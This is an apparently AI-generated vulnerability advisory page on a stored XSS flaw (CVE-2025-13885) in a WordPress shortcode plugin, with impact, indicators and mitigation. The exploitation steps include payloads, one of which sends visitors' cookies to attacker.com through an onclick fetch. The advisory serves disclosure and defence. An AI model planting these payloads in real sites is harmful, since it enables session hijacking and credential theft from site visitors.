CVE-2025-13885
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-13885 is a Stored Cross-Site Scripting (XSS) vulnerability in the Zenost Shortcodes plugin for WordPress. It affects all versions up to and including 1.0, stemming from insufficient input sanitization and output escaping on the link and target parameters within the button shortcode. The vulnerability was published on December 12, 2025, and was assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in inc/shortcodes.php (around line 25), where the link and target parameters of the button shortcode are rendered without proper sanitization or escaping, allowing arbitrary HTML/JavaScript injection. Exploitation requires an authenticated attacker with at least Contributor-level access to create or edit posts containing the malicious shortcode; no user interaction beyond page access is required for the payload to execute (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an authenticated attacker to inject persistent malicious scripts into WordPress pages, which execute in the browsers of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement or malware distribution. The changed scope in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users of the site (Wordfence, Red Hat CVE).

Exploitation steps

  1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Zenost Shortcodes ≤ 1.0.
  2. Create or Edit a Post: Navigate to the WordPress post editor and create or edit a post where shortcodes are rendered.
  3. Inject Malicious Shortcode: Insert a crafted button shortcode with a malicious payload in the link or target parameter, for example: [button link="javascript:alert(document.cookie)" target="_self"]Click Me[/button] or use an event-based payload such as link="#" target="_blank" onclick="fetch('https://attacker.com/?c='+document.cookie)".
  4. Publish the Post: Submit or publish the post so the injected shortcode is stored in the database.
  5. Trigger Execution: When any site visitor (including administrators) loads the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from Contributor-level accounts containing button shortcode parameters with JavaScript URIs or event handler strings (e.g., javascript:, onerror=, onclick=).
  • Database: Suspicious entries in the wp_posts table where post content includes [button link="javascript: or other script-bearing shortcode attributes.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the button shortcode, potentially carrying cookie or session data.
  • File System: Unexpected modifications to inc/shortcodes.php in the Zenost Shortcodes plugin directory if an attacker has escalated to file write access post-exploitation.

Mitigation and workarounds

Site administrators should immediately deactivate and remove the Zenost Shortcodes plugin (version 1.0 and below) if no patched version is available. Review all posts and pages for suspicious button shortcode usage containing JavaScript or unexpected URLs in the link or target parameters. As a general hardening measure, restrict Contributor-level account creation to trusted users and consider using a WordPress security plugin (e.g., Wordfence) to monitor for XSS injection attempts (Wordfence).

Community reactions

Wordfence disclosed and catalogued this vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as a stored XSS issue requiring Contributor-level access. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified (Wordfence Blog).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15991HIGH8.8
  • file-manager
NoYesAug 06, 2026
CVE-2026-15459HIGH8.1
  • wpmudev-updates
NoYesAug 06, 2026
CVE-2026-7529HIGH7.5
  • wisecampaign
NoYesAug 05, 2026
CVE-2026-18325HIGH7.2
  • forminator
NoYesAug 06, 2026
CVE-2026-16636HIGH7.2
  • fluent-smtp
NoYesAug 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management